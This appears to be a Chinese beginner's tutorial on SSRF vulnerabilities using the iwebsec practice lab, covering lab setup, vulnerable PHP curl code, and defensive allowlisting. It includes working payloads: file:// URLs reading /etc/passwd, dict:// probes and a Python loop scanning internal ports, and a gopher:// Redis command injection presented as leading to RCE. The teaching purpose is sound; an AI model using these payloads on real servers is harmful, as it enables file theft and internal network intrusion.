当前位置: 首页 > news >正文

新手也能懂的SSRF漏洞实战:用iwebsec靶场复现文件读取与内网探测

从零开始掌握SSRF漏洞:iwebsec靶场实战指南

1. 认识SSRF漏洞的本质

想象一下,你正在一家高档餐厅点餐,服务员承诺可以帮你从任何地方获取食材——包括隔壁竞争对手的厨房。SSRF(Server-Side Request Forgery)漏洞就像这个过于"热心"的服务员,它允许攻击者诱使服务器向任意地址发起请求,从而突破网络边界限制。

SSRF的核心危害主要体现在三个方面:

  • 敏感数据泄露:读取服务器本地文件(如/etc/passwd
  • 内网渗透跳板:探测或攻击内网服务(如Redis、MySQL)
  • 请求伪造攻击:以服务器身份发起恶意请求

初学者常混淆SSRF与CSRF的区别。简单来说:

  • CSRF是利用用户身份执行非预期操作
  • SSRF是利用服务器权限发起非预期请求

提示:现代云环境中,SSRF可能导致更严重的后果,如获取云服务元数据(AWS的169.254.169.254)

2. 搭建iwebsec靶场实验环境

2.1 靶场部署与配置

iwebsec是一个专为Web安全学习设计的漏洞演练平台,内置多种漏洞场景。以下是本地部署步骤:

# 下载并启动Docker容器 docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec

访问http://localhost即可看到如下模块:

漏洞类型路径难度等级
SSRF基础/vuln/ssrf/ssrf1★★☆☆☆
SSRF进阶/vuln/ssrf/ssrf2★★★☆☆
SSRF协议利用/vuln/ssrf/ssrf3★★★★☆

2.2 必要工具准备

建议安装以下浏览器插件辅助测试:

  • HackBar:快速构造和发送Payload
  • Postman:复杂请求测试
  • cURL(命令行版):协议调试

3. 基础文件读取实战

3.1 发现SSRF注入点

访问http://localhost/vuln/ssrf/ssrf1.php可见如下页面代码片段:

<?php if (isset($_GET['url'])) { $link = $_GET['url']; $curlobj = curl_init($link); //...省略其他curl配置... echo curl_exec($curlobj); } ?>

这个简单的文件下载功能就是典型的SSRF漏洞场景——未对用户输入的URL进行任何过滤。

3.2 利用file协议读取系统文件

尝试在URL参数中使用不同协议:

  1. 读取Web目录文件(HTTP协议)

    /vuln/ssrf/ssrf1.php?url=http://127.0.0.1/robots.txt
  2. 读取系统敏感文件(FILE协议)

    /vuln/ssrf/ssrf1.php?url=file:///etc/passwd

关键原理:当服务端使用curl_execfile_get_contents等函数时,如果未限制协议类型,攻击者可以通过构造特殊URL访问本地文件系统。

4. 内网探测与端口扫描

4.1 使用dict协议探测服务

dict协议设计用于字典查询,但可被利用来检查端口开放状态:

/vuln/ssrf/ssrf1.php?url=dict://127.0.0.1:3306

典型响应分析:

  • 端口开放:返回服务标识(如MySQL的版本信息)
  • 端口关闭:连接超时或拒绝

4.2 自动化探测脚本

虽然靶场环境简单,但真实场景中可以使用Python脚本自动化检测:

import requests ports = [21, 22, 80, 3306, 6379] for port in ports: try: r = requests.get( f"http://target/vuln/ssrf.php?url=dict://127.0.0.1:{port}", timeout=3 ) print(f"[+] Port {port} open - {r.text[:50]}") except: print(f"[-] Port {port} closed")

5. 防御方案与最佳实践

5.1 输入过滤策略

建议采用白名单机制限制允许的协议和域名:

$allowed_hosts = ['example.com', 'cdn.example.net']; $parsed = parse_url($_GET['url']); if (!in_array($parsed['host'], $allowed_hosts)) { die('Invalid host'); } if (!in_array($parsed['scheme'], ['http', 'https'])) { die('Protocol not allowed'); }

5.2 网络层防护

防护措施实施方法效果评估
出站流量限制防火墙规则限制服务器出站连接★★★★☆
网络隔离内网服务设置独立VPC★★★★☆
请求目标验证解析DNS记录比对IP范围★★★☆☆

6. 漏洞利用的进阶思考

在实际渗透测试中,SSRF常与其他漏洞形成组合攻击:

  1. 云环境利用:通过SSRF获取IAM角色临时凭证
  2. 协议转换攻击:利用302跳转绕过协议限制
  3. CRLF注入:在请求中插入恶意头信息

一个有趣的案例是,某次测试中发现通过gopher://协议可以构造Redis命令,最终实现了无需认证的RCE:

/vuln/ssrf.php?url=gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcode%0d%0a

这种攻击手法的关键在于精确控制协议payload的URL编码格式。建议在测试环境中多尝试不同协议的组合使用,你会惊讶于SSRF的灵活性。

http://www.jsqmd.com/news/887646/

相关文章:

  • 2026年航空、建筑及食品行业,全行业资产管理系统优选推荐
  • 嵌入式Linux实战:手把手教你为EC20 4G模块编译GobiNet驱动(含内核配置避坑)
  • 2026年4月淘宝纸箱双排联动线厂商哪家强,纸箱高速印刷机/纸箱印刷联动线,淘宝纸箱双排联动线制造商推荐 - 品牌推荐师
  • java学习笔记(7)
  • 西安国际搬家技术全解析:广州宠物空运、新加坡国际搬家、新加坡宠物托运、杭州国际搬家、杭州宠物空运、澳大利亚国际搬家选择指南 - 优质品牌商家
  • DeepSeek代码风格检查终极配置包,含21个行业定制规则集(限首批下载,仅开放72小时)
  • 41 - Go HTTP 服务端详解:从 net/http 到高性能 Web 服务
  • Unity TextMeshPro富文本实战:从标签安全到动态引擎
  • 2026年射洪市本地装饰公司综合实力排行盘点:射洪装饰公司、射洪装饰、射洪家装、射洪精装修、射洪整装、射洪装修公司选择指南 - 优质品牌商家
  • 移远EC21/EC200模组休眠实战:从13mA异常功耗到稳定6mA的排查与修复
  • DeepSeek系统设计辅助效能断崖式下降的3个信号,第2个90%工程师至今未察觉!
  • Live2D模型资源提取与可编辑资产重建指南
  • 2026温州科室标牌实测评测:温州景观雕塑标识、温州标牌、温州标识牌、温州玻璃钢景观雕塑、温州科室牌、温州精神堡垒选择指南 - 优质品牌商家
  • 量子计算中Loschmidt回声相位测量的创新方法
  • DeepSeek开源协议识别实战手册:7类高危许可证误判案例及自动化检测工具链部署
  • 探索Java开发新趋势:拥抱现代化编程范式
  • 5G R17 TBoMS到底是个啥?用大白话讲透多时隙传输TB块的原理与配置
  • 2026年5月新发布:探寻黑龙江彩砖源头厂家,这五家值得重点关注 - 2026年企业推荐榜
  • 作业本耐用度差距巨大?深圳大明印刷厂拆解合规工艺,告别定制作业本掉页开裂通病
  • 基于物理信息特征工程的机场大雾预报模型零样本迁移研究
  • OpenCV连通域分析实战:手把手教你用C++实现Two-Pass算法(附完整代码)
  • Live2D资源提取本质:Unity中Cubism二进制协议逆向与资产复原
  • ③ AI副业第一步:如何找到适合自己的AI赚钱赛道
  • GitHub五月爆款:AI Agent Skills赛道大爆发,十大趋势项目深度解析
  • 甲烷卫星监测算法优化与实时处理技术
  • AI赋能5G核心网故障诊断:从PCAP解析到智能根因分析的工程实践
  • FPGA驱动AD7606避坑指南:从数据手册到上板调试,串行/并行模式选择与实战代码解析
  • Sora 2 AVI支持背后的真相:为什么官方文档未声明?——基于逆向SDK v2.1.3a的ABI级分析(含AVI RIFF Chunk解析图谱)
  • 2026年线上百货超市投资项目评测:线上百货超市开店、线上超级便利店、线上连锁超市、闪电仓、前置仓加盟、投资即使零售平台选择指南 - 优质品牌商家
  • Hi-C辅助组装新选择:用Chromap+Yahs替代3D-DNA,速度与准确率双提升